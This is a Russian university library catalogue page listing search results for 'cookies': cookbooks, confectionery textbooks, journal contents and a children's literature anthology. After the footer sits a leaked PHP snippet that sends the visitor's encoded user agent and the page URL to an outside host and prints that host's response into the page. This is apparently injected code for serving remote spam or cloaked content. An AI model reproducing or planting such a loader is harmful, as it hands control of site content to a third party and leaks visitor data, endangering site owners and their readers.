Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

347 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Печенье")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 25
1. 
Кулинария [Текст] / П. В. Абатуров [и др.] ; дар. В. С. Михайленко, 1955. - 959, [1] с.
Держатели документа (Информация об экземплярах) 
2. 
Десерты и напитки [Текст] / сост. Е. В. Шиш ; дар. В. А. Козлова, 1995. - 490, [1] с.
Держатели документа (Информация об экземплярах) 
3. 
Кузнецова, Людмила Семеновна. Технология и организация производства кондитерских изделий [Текст] / Л. С. Кузнецова, М. Ю. Сиданова, 2009. - 478, [1] с.
Держатели документа (Информация об экземплярах) 

Рассмотрена технология переработки пищевого сырья в сахарные и мучные кондитерские изделия. Приведены требования к качеству сырья при его закупке, хранении и подготовке к первичной переработке, химический состав и свойства сырья и сведения о его подверженности изменениям под влиянием теплового, механического и других видов воздействия. Изложены методика составления рецептур кондитерских изделий и требования к качеству готовой продукции и ее хранению.

Во 2-е издание внесены исправления и дополнения, связанные с введением в действие новых ГОСТов на пищевые продукты по состоянию на 1 января 2009 г.

Для студентов средних профессиональных учебных заведений. Может быть полезен студентам вузов и специалистам кондитерского производства.

4. 
Табаторович, Александр Николаевич. Товароведение однородных групп продовольственных товаров (зерномучные и кондитерские товары) [Текст] / А. Н. Табаторович ; дар. А. Н. Табаторович, 2017. - 183 с.
Ключевые слова 
Оглавление 
Держатели документа (Информация об экземплярах) 

В учебном пособии рассмотрены вопросы терминологии, классификации, пищевой ценности, формирования и оценки качества основных видов и разновидностей зерномучных и кондитерских товаров. Классификация ассортимента, показатели качества и безопасности представлены в соответствии с действующими нормативными документами и Техническими регламентами Таможенного союза.

Пособие предназначено для студентов, обучающихся по направлениям подготовки 38.03.07 "Товароведение" и 38.03.06 "Торговое дело". Может быть полезно для товароведов-экспертов, коммерсантов и других практических работников, чья деятельность связана с производством, продажей и хранением указанных групп товаров.

Полный текст
5. 
Табаторович, Александр Николаевич. Товароведение и экспертиза качества мучных кондитерских изделий [Текст] / А. Н. Табаторович, О. Д. Худякова ; дар. О. Д. Худякова, 2016. - 140 с.
Держатели документа (Информация об экземплярах) 

В учебном пособии рассмотрены вопросы терминологии, классификации, пищевой ценности, формирования и оценки качества основных видов и разновидностей мучных кондитерских изделий. Классификация ассортимента, показатели качества и безопасности представлены в соответствии с действующими нормативными документами и Техническими регламентами Таможенного союза.

Пособие предназначено для студентов высших учебных заведений, обучающихся по направлению подготовки 38.03.06 "Торговое дело", профиль Товароведение и экспертиза товаров, при изучении раздела "Кондитерские товары" в рамках дисциплины "Товароведение и экспертиза зерномучных и кондитерских товаров". Может быть полезно для товароведов-экспертов, коммерсантов и других практических работников, чья деятельность связана с производством, продажей и хранением мучных кондитерских изделий.

6. 
Постный стол [Текст] / ред., сост. Т. А. Ружинская, дар. А. В. Мышлявцев, 1999. - 345 с.
Держатели документа (Информация об экземплярах) 
7. 
Пищевая промышленность. - Журнал, 2010г. № 8
Оглавление 
  • Итоги работы предприятий пищевой и перерабатывающей промышленности России за январь-май 2010 г.. - с.6-7
  • Колончин, К. В. Научное и образовательное обеспечение продовольственной безопасности Российской Федерации / К. В. Колончин, Д. А. Еделев, А. Ю. Колеснов. - с.8-11
  • Разработка новых рецептур соусов и дрессингов функционального назначения. - с.12-13
  • Тимофеева, К. Г. Биологически активная добавка к пище на основе хитина / К. Г. Тимофеева, Е. Э. Куприна. - с.14-16
  • Шелепина, Н. В. Применение горохового крахмала в производстве концентратов киселей / Н. В. Шелепина. - с.18-19
  • Васнева, И. К. Чечевица - сырье для производства продуктов антистрессовой направленности / И. К. Васнева, О. Е. Бакуменко. - с.20-22
  • Прянишников, В. В. Принципы создания продуктов питания для людей пожилого возраста / В. В. Прянишников, Т. М. Гиро, П. Микляшевски. - с.23
  • Колбасные изделия для геродиетического питания. - с.24-25
  • Болотов, В. М. Черносмородиновый краситель - источник антиоксидантов при производстве кондитерских изделий / В. М. Болотов, П. Н. Саввин. - с.26-27
  • Фруктозо-глюкозный сироп "Одуванчиковый". - с.28-29
  • Крюкова, Е. В. Разработка новых пищевых продуктов с учетом требований потребителей / Е. В. Крюкова, Л. В. Беркетова, Е. Л. Беленко. - с.30-32
  • Козубаева, Л. А. Печенье для безглютенового питания / Л. А. Козубаева, С. С. Кузьмина, М. Н. Вишняк. - с.33
  • Перспективы совершенствования пищеконцентратной отрасли до 2020 г.. - с.34-37
  • Онищенко, Г. Г. О Таможенном союзе / Г. Г. Онищенко. - с.37
  • Драчева, Л. В. Кристаллоскопический метод: функциональные морфотипы и здоровое питание / Л. В. Драчева. - с.38-39
  • Сенсорный контроль качества хлебобулочных изделий. - с.40-42
  • Гаприндашвили, И. Р. Биологически активные вещества плодов унаби / И. Р. Гаприндашвили, В. В. Кутубидзе, Т. Х. Мамулаишвили. - с.43
  • Традиционный вкус любимого майонеза от ГК "Союзснаб". - с.44
  • Губина, М. Д. Замороженные ягоды как стратегический запас для переработки в межсезонный период / М. Д. Губина, Н. А. Лучина. - с.46-47
  • Спицын, А. Поддержание качества продукта / А. Спицын. - с.47
  • Преснякова, О. П. Винодельческие предприятия и вина Тосканы / О. П. Преснякова, Е. Кушнерева. - с.48-50
  • [Новости НИИ и вузов]. - с.51
  • [Новости отраслевых союзов]. - с.52-53
  • [Новости компаний]. - с.54-55
  • AVERS представляет. - с.56-57
  • Азрилевич, М. Р. IX Международный Сахарный Форум / М. Р. Азрилевич. - с.58-59
  • Бурдун, Н. И. Стратегические решения для российской индустрии упаковки / Н. И. Бурдун. - с.60-61
  • Программа "Российское качество" в действии. - с.61
  • Бавария - надежный и перспективный партнер России. - с.62-63
  • Конференция кондитеров России, Казахстана и Белоруссии. - с.63
  • Егоров, Ю. Н. "Студент хочет есть быстро, вкусно и без последствий! " / Ю. Н. Егоров. - с.65
8. 
Рекламные идеи. - Журнал, 2007г. № 2
Оглавление 
  • Зараза. - с.4-10
  • Букша, К. Мой дом - весь мир / К. Букша. - с.12-21
  • Ле, Лоует П. Предсказатели моды / Лоует П. Ле. - с.22-27
  • Роме, С. Dragon Rouge / С. Роме. - с.28-38
  • Васильев, М. Epica Interactive / М. Васильев. - с.40-45
  • PMC Awards 2006. - с.47
  • Coca-Cola. - с.47
  • Газета De Tijd. - с.48-49
  • 50/50. - с.49-50
  • "Идейное печенье" от McCann-Ericsson Athens. - с.50-51
  • Air France. - с.52
  • "Nohouse wine" помогает бездомным. - с.53
  • The Lloyds Amex credit card. - с.54
  • Kleenex. - с.55
  • Универсамы Saisbury's. - с.56-57
  • Beka. - с.58-59
  • Branston. - с.60-64
  • Sun. - с.65-67
  • Пабы Nicholson's. - с.67-69
  • Pizza Hut. - с.70-71
  • Банк ABN Amro. - с.72-73
  • Универмаги Carrefour. - с.74-75
  • Фонд UNICEF. - с.76-77
  • 118218 - как ворваться во Францию с большой шумихой?. - с.78-83
  • Brandt. - с.84-87
  • Dop. - с.88-89
  • Frit'up. - с.90-91
  • Spontex. - с.92-94
  • Как втянуть бомжей в публичные дебаты?. - с.95-96
  • Васильева, М. "Семь пятниц" / М. Васильева. - с.97-103
  • Пиль, Р. "Аполлон-11", или Как убить хорошую идею / Р. Пиль. - с.104-105
  • Кучеров, Я. Snickers / Я. Кучеров. - с.106-107
  • Петрова, Е. Bonanza / Е. Петрова. - с.108-111
  • Платонов, К. "Овип Локос" / К. Платонов. - с.112-113
  • Поступной, Д. AXE / Д. Поступной. - с.114-115
  • Примаченко, Е. Ш-Ш-Шепелявая реклама, или Еще одна малобюджетная история / Е. Примаченко, А. Пархоменко. - с.116-118
  • Петрова, Е. Ш-Ш-Шутка юмора, языковые игры и уместное беспокойство / Е. Петрова. - с.118-119
Держатели документа (Информация об экземплярах) 
9. 
Питание и общество. - Журнал, 2007г. № 12
Оглавление 
  • Кучер, Л. Комбинированный банкет / Л. Кучер, Л. Шкуратова. - с.7-8
    Кл. слова: БАНКЕТ КОМБИНИРОВАННЫЙ
  • Тюрина, Е. Российский рынок молочных консервов сегодня и в перспективе / Е. Тюрина. - с.18
    Кл. слова: РЫНОК МОЛОЧНОЙ ПРОДУКЦИИ
  • Филонов, М. Экзотическая кухня / М. Филонов. - с.17
    Кл. слова: КУХНЯ ЭКЗОТИЧЕСКАЯ
  • Сызых, В. Гастрономические товары / В. Сызых. - с.23
    Кл. слова: ТОВАР ГАСТРОНИМИЧЕСКИЙ
  • Лисюк, Г. Песочное печенье с подсолничником / Г. Лисюк, Е. Шидакова-Каменюкова, И. Фомина. - с.24-25
    Кл. слова: ПЕЧЕНЬЕ песочное
  • Файзулина, Г. Туесок башкирского меда / Г. Файзулина. - с.30
    Кл. слова: МЕД
10. 
Русская игрушка [Текст] : Из коллекции художественно-педагогического музея игрушки АПН СССР, г.Загорск : Альбом / авт.-сост. Г. Л. Дайн ; фото.: Б. В. Мусихина, А. В. Рязанцева, 1987. - 187 с.
Оглавление 
11. 
Хрестоматия по детской литературе : учебное пособие для пед. училищ по специальности №2002 "Дошкольное воспитание" и №2010 "Воспитание в дошкольных учреждениях" / сост.: А. Л. Табенкина, М. К. Боголюбская ; ред. Е. Е. Зубарева, 1988. - 462 с.
Оглавление 
  • Песенки, пестушки, потешки. - с.4-7
  • Скороговорки. - с.8
  • Загадки. - с.8-10
  • Пословицы и поговорки. - с.10-11
  • Сказки. - с.11-35
  • Репка. - с.11
  • Теремок. - с.11
  • Колобок. - с.13-14
  • Заюшкина избушка. - с.14-16
  • Петушок - золотой гребешок. - с.17-18
  • Волк и козлята. - с.19-20
  • Снегурочка. - с.20-21
  • Гуси. - с.21-23
  • Хаврошечка. - с.23-25
  • Царевна-лягушка. - с.25-29
  • Сивка-бурка. - с.30-34
  • Каша из топора. - с.34-35
  • Песенки и Сказки народов СССР. - с.36-41
  • Песенки и Сказки народов зарубежных стран. - с.67-98
  • Жуковский, В. А. Жаворонок / В. А. Жуковский. - с.100
  • Жуковский, В. А. Мальчик с пальчик / В. А. Жуковский. - с.100
  • Пушкин, А. С. Сказка о рыбаке и рыбке / А. С. Пушкин. - с.100-105
  • Пушкин, А. С. У лукоморья дуб зеленый... / А. С. Пушкин. - с.105
  • Пушкин, А. С. Утро / А. С. Пушкин. - с.108
  • Пушкин, А. С. Зимний вечер / А. С. Пушкин. - с.109
  • Некрасов, Н. А. Дедушка Мазай и зайцы / Н. А. Некрасов. - с.109-111
  • Некрасов, Н. А. Мороз, Красный нос (отрывок) / Н. А. Некрасов. - с.111
  • Некрасов, Н. А. Крестьянские дети (отрывок) / Н. А. Некрасов. - с.111-113
  • Тютчев, Ф. И. Зима недаром злится... / Ф. И. Тютчев. - с.113
  • Тютчев, Ф. И. Весенние воды / Ф. И. Тютчев. - с.114
  • Тютчев, Ф. И. Весенняя гроза / Ф. И. Тютчев. - с.114
  • Толстой, А. К. Осень / А. К. Толстой. - с.114
  • Фет, А. А. Мама! глянь-ка из окошка... / А. А. Фет. - с.115
  • Майков, А. Н. Колыбельная песня / А. Н. Майков. - с.116
  • Майков, А. Н. Летний дождь / А. Н. Майков. - с.116
  • Майков, А. Н. Мать и дети / А. Н. Майков. - с.116
  • Никитин, И. С. Встреча зимы / И. С. Никитин. - с.117
  • Никитин, И. С. Полюбуйся: весна наступает... / И. С. Никитин. - с.117
  • Плещеев, А. Н. Сельская песня / А. Н. Плещеев. - с.118
  • Плещеев, А. Н. Дети и птичка / А. Н. Плещеев. - с.118
  • Плещеев, А. Н. Мой садик / А. Н. Плещеев. - с.118
  • Плещеев, А. Н. На берегу / А. Н. Плещеев. - с.119
  • Суриков, И. З. Зима / И. З. Суриков. - с.120
  • Суриков, И. З. Детство / И. З. Суриков. - с.120
  • Бунин, И. А. На пруде / И. А. Бунин. - с.122
  • Блок, А. А. Ветхая избушка / А. А. Блок. - с.123
  • Блок, А. А. Зайчик / А. А. Блок. - с.123
  • Блок, А. А. Снег да снег / А. А. Блок. - с.123
  • Блок, А. А. На лугу / А. А. Блок. - с.124
  • Есенин, С. А. Поет зима - аукает / С. А. Есенин. - с.124
  • Есенин, С. А. Береза / С. А. Есенин. - с.125
  • Есенин, С. А. Черемуха / С. А. Есенин. - с.125
  • Есенин, С. А. Пороша / С. А. Есенин. - с.125
  • Есенин, С. А. Ночь / С. А. Есенин. - с.126
  • Одоевский, В. Ф. Городок в табакерке / В. Ф. Одоевский. - с.126-130
  • Ушинский, К. Д. Вместе тесно, а врозь скучно / К. Д. Ушинский. - с.131
  • Ушинский, К. Д. Бишка / К. Д. Ушинский. - с.131
  • Ушинский, К. Д. Умей обождать / К. Д. Ушинский. - с.132
  • Ушинский, К. Д. Петушок с семьей / К. Д. Ушинский. - с.132
  • Ушинский, К. Д. Четыре желания / К. Д. Ушинский. - с.132-134
  • Ушинский, К. Д. Гадюка / К. Д. Ушинский. - с.134
  • Ушинский, К. Д. Наше Отечество / К. Д. Ушинский. - с.132
  • Толстой, Л. Н. Муравей и голубка / Л. Н. Толстой. - с.137
  • Толстой, Л. Н. Старый дед и внучек / Л. Н. Толстой. - с.137
  • Толстой, Л. Н. Три медведя / Л. Н. Толстой. - с.137-139
  • Толстой, Л. Н. Котенок / Л. Н. Толстой. - с.139-141
  • Толстой, Л. Н. Лев и собачка / Л. Н. Толстой. - с.141
  • Мамин-Сибиряк, Д. Н. Аленушкины сказки / Д. Н. Мамин-Сибиряк. - с.142
  • Мамин-Сибиряк, Д. Н. Притча о молочке, овсяной кашке и сером котишке Мурке / Д. Н. Мамин-Сибиряк. - с.142-144
  • Горький, М. Утро / М. Горький. - с.146-147
  • Горький, М. Воробьишко / М. Горький. - с.148-149
  • О Владимире Ильиче Ленине. - с.150-182
  • Маяковский, В. В. Что такое хорошо и что такое плохо? / В. В. Маяковский. - с.183-184
  • Маяковский, В. В. Конь-огонь / В. В. Маяковский. - с.185-186
  • Маяковский, В. В. Майская песенка / В. В. Маяковский. - с.186
  • Маяковский, В. В. Кем быть? / В. В. Маяковский. - с.186-190
  • Маяковский, В. В. Это книжечка моя про моря и про маяк / В. В. Маяковский. - с.190-191
  • Чуковский, К. И. Мойдодыр / К. И. Чуковский. - с.191-194
  • Чуковский, К. И. Телефон / К. И. Чуковский. - с.194-195
  • Чуковский, К. И. Айболит / К. И. Чуковский. - с.196-202
  • Чуковский, К. И. Путаница / К. И. Чуковский. - с.202-203
  • Чуковский, К. И. Тараканище / К. И. Чуковский. - с.204-206
  • Чуковский, К. И. Черепаха / К. И. Чуковский. - с.206
  • Маршак, С. Я. Детки в клетке / С. Я. Маршак. - с.207
  • Маршак, С. Я. Сказка о глупом мышонке / С. Я. Маршак. - с.207-209
  • Маршак, С. Я. Усатый полосатый / С. Я. Маршак. - с.209-211
  • Маршак, С. Я. Вот какой рассеянный / С. Я. Маршак. - с.211-212
  • Маршак, С. Я. Пожар / С. Я. Маршак. - с.212-214
  • Маршак, С. Я. Война с Днепром / С. Я. Маршак. - с.215
  • Маршак, С. Я. Круглый год / С. Я. Маршак. - с.216-217
  • Маршак, С. Я. Рассказ о неизвестном герое / С. Я. Маршак. - с.218-220
  • Маршак, С. Я. Урок родного языка / С. Я. Маршак. - с.220
  • Маршак, С. Я. Дети нашего двора / С. Я. Маршак. - с.221
  • Благинина, Е. А. Аленушка / Е. А. Благинина. - с.221-222
  • Благинина, Е. А. Вот такая мама / Е. А. Благинина. - с.222
  • Благинина, Е. А. Посидим в тишине / Е. А. Благинина. - с.222
  • Благинина, Е. А. Не мешайте мне трудиться / Е. А. Благинина. - с.223
  • Благинина, Е. А. Шинель / Е. А. Благинина. - с.223
  • Благинина, Е. А. Миру - мир / Е. А. Благинина. - с.223
  • Барто, А. Л. Игрушки / А. Л. Барто. - с.224
  • Барто, А. Л. Вовка - добрая душа / А. Л. Барто. - с.224
  • Барто, А. Л. Снегирь / А. Л. Барто. - с.225-226
  • Барто, А. Л. Помощница / А. Л. Барто. - с.226
  • Барто, А. Л. Твой праздник / А. Л. Барто. - с.226-228
  • Барто, А. Л. Звенигород / А. Л. Барто. - с.228-230
  • Александрова, З. Н. Мой мишка / З. Н. Александрова. - с.230
  • Александрова, З. Н. Ветер на речке / З. Н. Александрова. - с.230-231
  • Александрова, З. Н. Сарафанчик / З. Н. Александрова. - с.231-232
  • Александрова, З. Н. Белая черемуха / З. Н. Александрова. - с.230
  • Александрова, З. Н. Родина / З. Н. Александрова. - с.233
  • Михалков, С. В. А что у вас? / С. В. Михалков. - с.233-234
  • Михалков, С. В. Песенка друзей / С. В. Михалков. - с.233-234
  • Михалков, С. В. Дядя Степа / С. В. Михалков. - с.236-239
  • Михалков, С. В. Про мимозу / С. В. Михалков. - с.239-240
  • Михалков, С. В. Мир / С. В. Михалков. - с.240
  • Михалков, С. В. Недотепа / С. В. Михалков. - с.240-241
  • Михалков, С. В. Были для детей / С. В. Михалков. - с.241-242
  • Ладонщиков, Г. А. Самокат / Г. А. Ладонщиков. - с.242-243
  • Ладонщиков, Г. А. Каменка моя / Г. А. Ладонщиков. - с.242-243
  • Заходер, Б. В. Строители / Б. В. Заходер. - с.243
  • Заходер, Б. В. Переплетчица / Б. В. Заходер. - с.243
  • Заходер, Б. В. Сапожник / Б. В. Заходер. - с.243
  • Заходер, Б. В. Никто / Б. В. Заходер. - с.244
  • Аким, Я. Л. Неумейка / Я. Л. Аким. - с.244-246
  • Аким, Я. Л. Первое мая / Я. Л. Аким. - с.246
  • Коринец, Ю. И. Северный колобок / Ю. И. Коринец. - с.246-247
  • Берестов, В. Д. Приятная весть / В. Д. Берестов. - с.247
  • Берестов, В. Д. Читалочка / В. Д. Берестов. - с.247
  • Берестов, В. Д. Альбом для рисования / В. Д. Берестов. - с.248
  • Токмакова, И. П. Где спит рыбка / И. П. Токмакова. - с.248
  • Токмакова, И. П. Ели / И. П. Токмакова. - с.248
  • Токмакова, И. П. Разговор ветра и осинок / И. П. Токмакова. - с.248-249
  • Токмакова, И. П. Живи, елочка! / И. П. Токмакова. - с.249
  • Токмакова, И. П. Красная Площадь / И. П. Токмакова. - с.249
  • Токмакова, И. П. Мне грустно - я лежу больной / И. П. Токмакова. - с.250
  • Успенский, Э. Н. Если был бы я девчонкой... / Э. Н. Успенский. - с.250
  • Пришвин, М. М. Ребята и утята / М. М. Пришвин. - с.251-252
  • Пришвин, М. М. Лисичкин хлеб / М. М. Пришвин. - с.252-253
  • Пришвин, М. М. Золотой луг / М. М. Пришвин. - с.253
  • Пришвин, М. М. Моя Родина / М. М. Пришвин. - с.253-254
  • Житков, Б. С. Что я видел / Б. С. Житков. - с.254-257
  • Житков, Б. С. Как я ловил человечков / Б. С. Житков. - с.257-260
  • Житков, Б. С. Как слон спас хозяина от тигра / Б. С. Житков. - с.260-261
  • Житков, Б. С. Обвал / Б. С. Житков. - с.261-262
  • Соколов-Микитов, И. С. Лесные картинки / И. С. Соколов-Микитов. - с.262-263
  • Соколов-Микитов, И. С. Колокольчики / И. С. Соколов-Микитов. - с.263
  • Паустовский, К. Г. Заботливый цветок / К. Г. Паустовский. - с.264-265
  • Бианки, В. В. Теремок / В. В. Бианки. - с.266-267
  • Бианки, В. В. Купание медвежат / В. В. Бианки. - с.268
  • Бианки, В. В. Лис и мышонок / В. В. Бианки. - с.268
  • Чарушин, Е. И. Волчишко / Е. И. Чарушин. - с.268-269
  • Чарушин, Е. И. Большие и маленькие / Е. И. Чарушин. - с.269-270
  • Чарушин, Е. И. Как мальчик Женя научился говорить букву "Р" / Е. И. Чарушин. - с.270
  • Осеева, В. А. Волшебное слово / В. А. Осеева. - с.271-273
  • Осеева, В. А. Печенье / В. А. Осеева. - с.273
  • Пермяк, Е. А. Смородинка / Е. А. Пермяк. - с.273-274
  • Пермяк, Е. А. Пичугин мост / Е. А. Пермяк. - с.274-275
  • Гайдар, А. П. Поход / А. П. Гайдар. - с.275-276
  • Гайдар, А. П. Чук и Гек / А. П. Гайдар. - с.276-279
  • Кассиль, Л. А. У нас в Москве / Л. А. Кассиль. - с.280-282
  • Кассиль, Л. А. Твои защитники / Л. А. Кассиль. - с.280-282
  • Воронкова, Л. Ф. Золотые ключики / Л. Ф. Воронкова. - с.284-288
  • Воронкова, Л. Ф. Подружки идут в школу / Л. Ф. Воронкова. - с.288-289
  • Носов, Н. Н. Живая шляпа / Н. Н. Носов. - с.289-291
  • Носов, Н. Н. Огурцы / Н. Н. Носов. - с.292-294
  • Сладков, Н. И. Под шапкой-невидимкой / Н. И. Сладков. - с.294-295
  • Алексеев, С. П. Рассказы о Суворове и русских солдатах / С. П. Алексеев. - с.295-296
  • Алексеев, С. П. Новый учитель / С. П. Алексеев. - с.296-298
  • Митяев, А. В. Сегодня праздник / А. В. Митяев. - с.298-301
  • Водопьянов, М. В. Космонавт - 1 / М. В. Водопьянов. - с.301-303
  • Сахарнов, С. В. Кто в море живет / С. В. Сахарнов. - с.303-304
  • Алексин, А. Г. Первый день / А. Г. Алексин. - с.304-306
  • Железников, В. К. Рыцарь / В. К. Железников. - с.306-308
  • Погодин, Р. П. Просто история / Р. П. Погодин. - с.308-310
  • Баруздин, С. А. Страна, где мы живем / С. А. Баруздин. - с.310-315
  • Баруздин, С. А. Шел по улице солдат / С. А. Баруздин. - с.315-318
  • Шим, Э. Ю. Черемуха / Э. Ю. Шим. - с.318-319
  • Иванов, С. А. Хорошо или плохо / С. А. Иванов. - с.319-321
  • Цыферов, Г. М. Жил на свете слоненок / Г. М. Цыферов. - с.321-322
  • Романовский, С. Т. Лукошко / С. Т. Романовский. - с.322-323
  • Коржиков, В. Т. Рассказы о таежном докторе / В. Т. Коржиков. - с.324-326
  • Снегирев, Г. Я. Чайка / Г. Я. Снегирев. - с.326-327
  • Коваль, Ю. И. Чистый Дор / Ю. И. Коваль. - с.327-329
  • Голявкин, В. В. Как я боялся / В. В. Голявкин. - с.329-330
  • Литература народов СССР. - с.331-378
  • Перро, Ш. Кот в сапогах / Ш. Перро. - с.380-384
  • Братья, Гримм. Бременские музыканты / Гримм Братья. - с.384-387
  • Андерсен, Х. К. Дюймовочка / Х. К. Андерсен. - с.388-396
  • Харрис, Дж. Ч. Братец Лис и братец Кролик / Дж. Ч. Харрис. - с.396-398
  • Сетон-Томпсон, Э. Рваное ушко / Э. Сетон-Томпсон. - с.398-400
  • Киплинг, Р. Откуда у кита такая глотка / Р. Киплинг. - с.400-402
  • Зарубежная литература XX века. - с.403-442
12. 
Сахарова, Саида Юсуфовна. Академия Домашних Волшебников [Текст] / С. Ю. Сахарова ; дар. Л. Г. Литвина, 1992. - 243, [10] с.
Держатели документа (Информация об экземплярах) 
13. 
Драгилев, Абрам Иосифович. Основы кондитерского производства [Текст] : Учеб. для вузов по специальностям "Технология хлеба, кондит. и макарон. изделий", "Машины и аппараты пищевых пр-в" / А. И. Драгилев, Г. А. Маршалкин, 1999. - 447 с.
14. 
Киселева, Вера Борисовна. Детская кухня [Текст] : Кн. для матерей о приготовлении пищи детям / В. Б. Киселева; В. С. Вайль, 1958. - 175 с.
Держатели документа (Информация об экземплярах) 
15. 
Кенгис, Роберт Петрович. Изделия из теста [Текст] / Р. П. Кенгис, 1958. - 192 с.
Держатели документа (Информация об экземплярах) 
16. 
Сидорина Е. И. Современная кухня [Текст] : кулинар. рецепты из доступ. продуктов / Е. И. Сидорина, 1993. - 543 с.
Ключевые слова 
СЕРВИРОВКА СТОЛА -- ЗАКУСКА ХОЛОДНАЯ -- САЛАТ -- ВИНЕГРЕТ -- ПАШТЕТ -- ЗАЛИВНОЕ -- БУТЕРБРОД -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ РЫБЫ -- СЫР -- БЛЮДА ИЗ ЯИЦ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СУП ОВОЩНОЙ -- УХА -- СУП МОЛОЧНЫЙ -- СУП ГРИБНОЙ -- БЛИНЫ -- ОЛАДЬИ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- ЗАПЕКАНКА -- ПЛОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- СОУС -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО СЛОЕНОЕ -- ТОРТЫ -- ТЕСТО БИСКВИТНОЕ -- ПЕЧЕНЬЕ -- ХВОРОСТ -- ВАФЛИ -- КЕКС -- ПИРОГ -- КРЕМ МАСЛЯНЫЙ -- КРЕМ БЕЛКОВЫЙ -- КРЕМ ЗАВАРНОЙ -- МУСС -- ЖЕЛЕ -- КОМПОТ -- КИСЕЛЬ -- БЛЮДА СЛАДКИЕ -- ЗАГОТОВКИ -- КАПУСТА КВАШЕНАЯ -- КОНСЕРВИРОВАНИЕ -- МАРИНОВАНИЕ -- ВАРЕНЬЕ -- ДЖЕМ -- ЦУКАТЫ
17. 
Чейз, Джеймс Хэдли. Собрание сочинений [Текст] : в 35 т.: пер. с англ. Т. 12 : Крысы Джеффа Баррета / дар. С. Н. Литунов, 1993. - 509, [2] с.
Ключевые слова 
Оглавление 
  • Почему вы выбрали меня?
  • Шок
  • Как крошится печенье
Держатели документа (Информация об экземплярах) 
18. 
Шепелев А. Ф. Товароведение и экспертиза кондитерских товаров [Текст] : Учеб. пособие для студ. высш. учеб. заведений / А. Ф. Шепелев, И. А. Печенежская, А. В. Шмелев. - 223 с.
19. 
Справочник по товароведению продовольственных товаров [Текст] : Справочники/словари / Под ред. Т.Г.Родиной, 2003. - 608 с.
Ключевые слова 
ТОВАРОВЕДЕНИЕ -- Товары продовольственные -- ЦЕННОСТЬ ПИЩИ ЭНЕРГЕТИЧЕСКАЯ -- ЦЕННОСТЬ ПИЩИ биологическая -- ЦЕННОСТЬ ПИЩИ физиологическая -- ЦЕННОСТЬ ПИЩИ органолептическая -- Усвояемость пищи -- КОДИРОВАНИЕ ТОВАРА -- МАРКИРОВКА ТОВАРА -- ИНФОРМАЦИЯ О ТОВАРЕ -- БЕЗОПАСНОСТЬ пищевых продуктов -- Безопасность эпидемиологическая -- ТАРА -- УПАКОВКА -- УТИЛИЗАЦИЯ тары -- ДОБАВКА ПИЩЕВАЯ -- Краситель пищевой -- Консервант -- Антиокислитель -- Ароматизатор -- Препарат коптильный -- ТОВАРЫ зерномучные -- Зерно -- Мука -- Крупа -- МАКАРОНЫ -- Хлеб -- СУХАРИ -- ПЛОДЫ -- ОВОЩИ -- ГРИБЫ -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- РЕЗИНКА ЖЕВАТЕЛЬНАЯ -- Карамель -- Шоколад -- КАКАО - порошок -- Конфеты -- Ирис -- Драже -- Халва -- Печенье -- ВАФЛИ -- ПИРОЖНЫЕ -- ТОРТЫ -- РУЛЕТ -- КЕКС -- Сладости восточные -- КОНЦЕНТРАТ ПИЩЕВОЙ -- ПРОДУКТЫ детского питания -- ТОВАРЫ вкусовые -- ЖИР ПИЩЕВОЙ -- МОЛОКО -- Сметана -- Сыр -- ТОВАРЫ молочные -- ЯЙЦЕПРОДУКТЫ -- МЯСО -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- КОНСЕРВЫ РЫБНЫЕ -- ПРЕСЕРВЫ РЫБНЫЕ
Держатели документа (Информация об экземплярах) 
20. 
Рыжакова, Алла Владимировна. Товароведение и экспертиза кондитерских товаров [Текст] : Учебник гриф-УМО / А. В. Рыжакова, 2005. - 224 с.

Изложены основные сведения о сырье и вспомогательных материалах, пищевых добавках, особенностях технологии производства сахаристых и мучных кондитерских изделий. Приведены информация о составе, свойствах и пищевой ценности; принципы товарной классификации и ассортиментной принадлежности; требования к качеству, маркировке, транспортированию, условиям хранения изделий. Рассмотрены процессы, протекающие при производстве и хранении, их влияние на качество изделий.

Для студентов высших учебных заведений, обучающихся по специальности "Товароведение и экспертиза товаров".

21. 
Эткер Печенье [Текст] : Пер. с нем. / Эткер, 1994. - 91 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3225 - 08.04.2020
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.07 с.18 запросов, 0.50c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;